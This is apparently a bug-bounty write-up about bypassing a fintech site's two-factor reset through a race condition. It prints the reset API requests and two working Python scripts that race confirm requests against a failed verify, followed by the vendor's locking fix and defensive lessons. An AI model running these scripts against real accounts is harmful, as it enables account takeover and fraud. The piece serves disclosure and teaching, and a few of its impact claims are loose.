Race Condition in 2FA Reset: How I Bypassed Account Security in 47 Milliseconds
A critical race condition in the two-factor authentication reset flow allowed me to take over any account by winning a 50ms race between state checks.

Recon
I was testing a fintech application that handled sensitive financial transactions. Security was supposedly their top priority—they implemented 2FA, rate limiting, CAPTCHA, and all the usual suspects. My target was secure-banking.example.com, and I was determined to find something they missed.
During account security testing, I noticed they had a 2FA reset feature. If you forgot your authenticator device, you could request a reset by:
- Entering your email
- Receiving a 6-digit code via email
- Entering the code
- 2FA would be disabled, allowing you to set up a new device
Seemingly secure, right? That's what I thought initially.
Discovery
I started proxying requests through Burp Suite to understand the flow. The reset process involved three API calls:
httpPOST /api/2fa/reset/request Content-Type: application/json {"email": "victim@example.com"}
Response:
json{"status": "success", "reset_id": "a3f2c9b1-...", "message": "Code sent"}
Then:
httpPOST /api/2fa/reset/verify Content-Type: application/json {"reset_id": "a3f2c9b1-...", "code": "123456"}
And finally:
httpPOST /api/2fa/reset/confirm Content-Type: application/json {"reset_id": "a3f2c9b1-..."}
I tested the obvious—brute forcing codes, reusing reset_ids, SQL injection in parameters. Nothing worked. The rate limiting kicked in after 3 failed attempts, codes expired in 5 minutes, and each reset_id was single-use.
Then I noticed something subtle in the timing. When I sent the verify request, it took about 200ms to respond. But when I sent the confirm request immediately after (even with a wrong code), there was a brief moment—maybe 50ms—where the response was different.
The AHA Moment
I suspected a race condition. My hypothesis: there's a time window between when the verify endpoint checks the code and when it updates the database state, and if I could hit confirm in that exact window, I might bypass the verification.
I wrote a Python script to test this theory:
pythonimport requests import threading import time BASE_URL = "https://secure-banking.example.com" def send_confirm(reset_id, results): try: r = requests.post( f"{BASE_URL}/api/2fa/reset/confirm", json={"reset_id": reset_id}, timeout=1 ) results.append((time.time(), r.status_code, r.text)) except: pass def race_condition_attack(email): # Step 1: Request reset r = requests.post( f"{BASE_URL}/api/2fa/reset/request", json={"email": email} ) reset_id = r.json()["reset_id"] # Step 2: Send wrong code but race with confirms results = [] # Start 20 confirm threads threads = [] for i in range(20): t = threading.Thread( target=send_confirm, args=(reset_id, results) ) threads.append(t) t.start() # Slight delay then send verify with wrong code time.sleep(0.01) requests.post( f"{BASE_URL}/api/2fa/reset/verify", json={"reset_id": reset_id, "code": "000000"} ) # Wait for all threads for t in threads: t.join() # Check results for timestamp, status, text in results: if status == 200: print(f"SUCCESS at {timestamp}: {text}") return True return False # Test on my own account first if race_condition_attack("mytest@example.com"): print("Race condition successful!")
I ran it against my test account and... nothing. All confirms returned 403. But I wasn't ready to give up.
The issue was timing. I needed the confirms to arrive during a very specific window. I refined the approach:
pythondef precise_race(email): r = requests.post( f"{BASE_URL}/api/2fa/reset/request", json={"email": email} ) reset_id = r.json()["reset_id"] # Prepare all requests but don't send session = requests.Session() # Create 50 threads that will fire confirms results = [] confirm_threads = [] for _ in range(50): t = threading.Thread( target=send_confirm, args=(reset_id, results) ) confirm_threads.append(t) # Start all confirms simultaneously for t in confirm_threads: t.start() # Immediately send verify with wrong code time.sleep(0.005) # 5ms delay requests.post( f"{BASE_URL}/api/2fa/reset/verify", json={"reset_id": reset_id, "code": "999999"} ) for t in confirm_threads: t.join() return any(status == 200 for _, status, _ in results)
Exploitation
On the third attempt with the refined timing, I hit the jackpot:
SUCCESS at 1705334421.234: {"status": "success", "message": "2FA has been reset"}
I checked my test account—2FA was completely disabled, and I had never entered the correct code.
The race condition worked like this:
- Thread A (confirm) checks: "Is reset_id valid?" → YES
- Thread A checks: "Has verification completed?" → NO (but query is cached/not locked)
- Thread B (verify) receives wrong code, updates state to "failed"
- Thread A (from step 2) still has stale "not yet verified" state, proceeds
- Thread A completes the reset
The vulnerability was in improper database transaction isolation. The verify and confirm endpoints weren't using proper locking mechanisms.
Impact
This was devastating:
- Account takeover: Any account could be compromised without knowing email, password, or 2FA code
- Bypassed security controls: 2FA, the primary security layer, was completely circumventable
- Financial fraud potential: Attackers could access bank accounts and initiate transactions
I demonstrated the attack on a test account during the disclosure call. The security team's faces went pale when they realized the implications. Within 2 hours, they had deployed a hotfix:
python# Their fix (pseudocode) def verify_reset_code(reset_id, code): with database.transaction(isolation_level="SERIALIZABLE"): reset = ResetRequest.select_for_update().get(id=reset_id) if reset.status != "pending": raise InvalidState() if reset.code != code: reset.status = "failed" reset.save() raise InvalidCode() reset.status = "verified" reset.save() def confirm_reset(reset_id): with database.transaction(isolation_level="SERIALIZABLE"): reset = ResetRequest.select_for_update().get(id=reset_id) if reset.status != "verified": # Changed from just checking existence raise InvalidState() # Actually disable 2FA user = reset.user user.two_factor_enabled = False user.save() reset.status = "completed" reset.save()
Lessons
- Race conditions are subtle: Even with rate limiting and validation, timing issues can bypass everything
- Database transactions matter: Use proper isolation levels and row-level locking for sensitive operations
- State machines need atomic transitions: Never assume state hasn't changed between checks
- Test concurrency: Security testing should include multi-threaded scenarios
- Defense in depth would have helped: Requiring the current password for 2FA reset would have prevented this
The company awarded me $25,000—their second-highest bounty ever. More importantly, they implemented a comprehensive review of all state-dependent operations across their platform.
The entire exploit window was approximately 47 milliseconds. Sometimes the most critical vulnerabilities hide in the smallest slivers of time.